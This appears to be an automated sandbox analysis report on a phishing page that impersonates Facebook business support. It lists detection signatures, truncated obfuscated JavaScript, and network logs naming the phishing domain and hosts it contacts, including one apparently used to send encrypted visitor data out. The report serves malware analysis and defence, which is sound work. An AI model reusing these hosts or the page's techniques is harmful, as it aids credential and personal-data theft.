Edit tour

Windows Analysis Report
http://case-id-1000228259003.counselschambers.co.uk/

Overview

General Information

Sample URL:	http://case-id-1000228259003.counselschambers.co.uk/
Analysis ID:	1638231
Infos:

Detection

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious Javascript

HTML page contains obfuscated javascript

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4536 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5960 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1900,i,6205956424128409629,15682389444438876750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://case-id-1000228259003.counselschambers.co.uk/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://case-id-1000228259003.counselschambers.co.uk/

Avira URL Cloud: detection malicious, Label: malware

Antivirus detection for URL or domain

Source: https://case-id-1000228259003.counselschambers.co.uk/index-5b6c678b.css	Avira URL Cloud: Label: malware
Source: https://case-id-1000228259003.counselschambers.co.uk/banner-b1482d4c.webp	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html	Joe Sandbox AI: Score: 9 Reasons: The brand 'Facebook' is well-known and is typically associated with the domain 'facebook.com'., The provided URL 'case-id-1000228259003.counselschambers.co.uk' does not match the legitimate domain for Facebook., The URL contains a subdomain 'case-id-1000228259003' which is unrelated to Facebook and suggests a case or ID reference, which is suspicious., The main domain 'counselschambers.co.uk' is unrelated to Facebook and does not align with any known Facebook services or domains., The presence of input fields for personal information such as phone number, full name, email address, and birthday is typical for phishing attempts targeting personal data. DOM: 2.1.pages.csv
Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html	Joe Sandbox AI: Score: 9 Reasons: The brand 'Facebook' is well-known and is associated with the domain 'facebook.com'., The provided URL 'case-id-1000228259003.counselschambers.co.uk' does not match the legitimate domain of Facebook., The URL contains a subdomain and a domain that are not related to Facebook, which is suspicious., The presence of input fields for personal information such as phone number, full name, email address, and birthday is common in phishing attempts to collect sensitive data., The domain 'counselschambers.co.uk' does not have any known association with Facebook. DOM: 2.2.pages.csv

AI detected suspicious Javascript

Source: 1.5..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://case-id-1000228259003.counselschambers.co.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. It appears to be collecting user IP addresses and sending encrypted data to an external server, which is highly suspicious and indicative of potential malicious intent.

HTML page contains obfuscated javascript

Source: https://case-id-1000228259003.counselschambers.co.uk/help.html	HTTP Parser: var _0x128029=_0x3b3d;function _0x3b3d(_0x15d4a1,_0x5b219b){var _0x29e93f=_0x416c();return
Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html	HTTP Parser: var _0x58efb4=_0x136f;(function(_0x29482d,_0x453fa9){var _0x81cf80=_0x136f,_0x523557=_0x294

Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html

HTTP Parser: Number of links: 0

Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html

HTTP Parser: Title: Business Help Center | Privacy Policy does not match URL

Source: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.js

HTTP Parser: ;(function (root, factory) {if (typeof exports === "object") {// commonjsmodule.exports = exports = factory();}else if (typeof define === "function" && define.amd) {// amddefine([], factory);}else {// global (browser)root.cryptojs = factory();}}(this, function () {/*globals window, global, require*//** * cryptojs core components. */var cryptojs = cryptojs || (function (math, undefined) { var crypto; // native crypto from window (browser) if (typeof window !== 'undefined' && window.crypto) { crypto = window.crypto; } // native crypto in web worker (browser) if (typeof self !== 'undefined' && self.crypto) { crypto = self.crypto; } // native crypto from worker if (typeof globalthis !== 'undefined' && globalthis.crypto) { crypto = globalthis.crypto; } // native (experimental ie 11) crypto from window (browser) if (!crypto && typeof window !== 'undefined' && window.mscrypto) { ...

Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html

HTTP Parser: <input type="password" .../> found

Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html	HTTP Parser: No <meta name="author".. found
Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html	HTTP Parser: No <meta name="author".. found

Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html	HTTP Parser: No <meta name="copyright".. found
Source: https://case-id-1000228259003.counselschambers.co.uk/case-support.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.185.132:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.234:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.132:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.168.191:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.44:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49767 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /help.html HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index-5b6c678b.css HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://case-id-1000228259003.counselschambers.co.uk/help.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.0/dist/css/bootstrap.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveOrigin: https://case-id-1000228259003.counselschambers.co.uksec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/react/umd/react.production.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveOrigin: https://case-id-1000228259003.counselschambers.co.uksec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /190947209_1002880900116912_4375102209501448340_n-8956b37a.jpg HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://case-id-1000228259003.counselschambers.co.uk/help.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/react-dom/umd/react-dom.production.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveOrigin: https://case-id-1000228259003.counselschambers.co.uksec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/react-bootstrap@next/dist/react-bootstrap.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveOrigin: https://case-id-1000228259003.counselschambers.co.uksec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/y4/r/lCgIhoPdDwe.png?_nc_eui2=AeEHhRnoC5WMGsis9w3OX_xmipu6QNTZOaaKm7pA1Nk5pm0Io5KHk3e2v5hMgnZRXyR3jgQllPVtTyYbHbAwAVOK HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/y0/r/ZDbWZ2ztKOk.png?_nc_eui2=AeGSAI0Ta_q8bhtXbB4BszOpKhxbmRQXpz0qHFuZFBenPVMKXXE6_r6aJu7KzG1uB7QXmT4PCyvmz-1AFJATsMyQ HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/y5/r/juHXA8pRbU4.png?_nc_eui2=AeGYPh0Yw0hm06jC3mdd5o4pqL-BzkD0hYqov4HOQPSFiuhqifH663RsjfKIYI5RkcrWYAJhnyRtt5m9gJlVNKSW HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJOhywEInP7MAQiFoM0BCMnRzgEIvtXOAQiB1s4BCMjczgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /190947209_1002880900116912_4375102209501448340_n-8956b37a.jpg HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/jsonsec-ch-ua-mobile: ?0Origin: https://case-id-1000228259003.counselschambers.co.ukSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WeatherForecast HTTP/1.1Host: pickoutsourcing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /case-support.html HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://case-id-1000228259003.counselschambers.co.uk/help.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/intl-tel-input@17.0.19/build/css/intlTelInput.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/intl-tel-input@17.0.19/build/js/intlTelInput.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /banner-b1482d4c.webp HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://case-id-1000228259003.counselschambers.co.uk/index-5b6c678b.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /banner-b1482d4c.webp HTTP/1.1Host: case-id-1000228259003.counselschambers.co.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1f8.svg HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/jsonsec-ch-ua-mobile: ?0Origin: https://case-id-1000228259003.counselschambers.co.ukSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://case-id-1000228259003.counselschambers.co.uk/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
